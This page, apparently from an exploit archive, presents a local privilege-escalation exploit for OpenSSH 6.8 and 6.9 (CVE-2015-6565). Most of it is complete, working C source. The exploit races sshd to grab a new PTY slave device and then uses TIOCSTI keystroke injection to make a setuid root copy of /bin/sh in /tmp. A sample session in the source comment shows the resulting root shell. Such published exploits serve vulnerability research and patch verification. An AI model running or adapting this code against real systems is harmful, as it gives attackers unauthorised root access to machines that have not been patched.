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OpenSSH 6.8 / 6.9 PTY Privilege Escalation

OpenSSH 6.8 / 6.9 PTY Privilege Escalation
Posted Jan 27, 2017
Authored by Federico Bento

OpenSSH versions 6.8 and 6.9 suffer from a PTY privilege escalation vulnerability.

tags | exploit
advisories | CVE-2015-6565
MD5 | 08e7d4bdbebeaea8f3911d3f0872cb26

OpenSSH 6.8 / 6.9 PTY Privilege Escalation

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/* 
* not_an_sshnuke.c
*
* Federico Bento
*
* up201407890 () alunos dcc fc up pt
* https://twitter.com/uid1000
*
* OpenSSH 6.8-6.9 local privilege escalation - CVE-2015-6565
*
* Considered mostly to be a "DoS", turns out to be a priv esc vuln.
* https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-6565
*
* Shoutz to Jann Horn for the detailed analysis
* And also to all my elite colleagues, specially xSTF :)
*
*
* $ gcc not_an_sshnuke.c -o not_an_sshnuke
* $ ./not_an_sshnuke /dev/pts/3
* [*] Waiting for slave device /dev/pts/3
* [+] Got PTY slave /dev/pts/3
* [+] Making PTY slave the controlling terminal
* [+] SUID shell at /tmp/sh
* $ /tmp/sh --norc --noprofile -p
* # id
* euid=0(root) groups=0(root)
*
*/

#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/ioctl.h>

int main(int argc, char *argv[])
{
char *cmd = "cp /bin/sh /tmp/sh; chmod u+s /tmp/sh\n";
int pid, pts = -1;

if(argc != 2) {
fprintf(stderr, "Usage: %s /dev/pts/X\n", argv[0]);
fprintf(stderr, "Where X is next slave device to be created\n");
return 1;
}

if(!access(argv[1], F_OK)) {
fprintf(stderr, "[-] %s device already exists\n", argv[1]);
return 1;
}

pid = fork();

if(pid < 0) {
fprintf(stderr, "[-] fork failed\n");
return 1;
}

if(pid == 0) {
printf("[*] Waiting for slave device %s\n", argv[1]);

/* win the race by opening the PTY slave before sshd's child */
while(pts == -1)
pts = open(argv[1], O_WRONLY);

printf("[+] Got PTY slave %s\n", argv[1]);
printf("[+] Making PTY slave the controlling terminal\n");

dup2(pts, 0); dup2(pts, 1); dup2(pts, 2);
setsid();
ioctl(0, TIOCSCTTY, 1);

while(*cmd)
ioctl(0, TIOCSTI, cmd++);
}

else {
wait(NULL);
printf("[+] SUID shell at /tmp/sh\n");
return 0;
}
}

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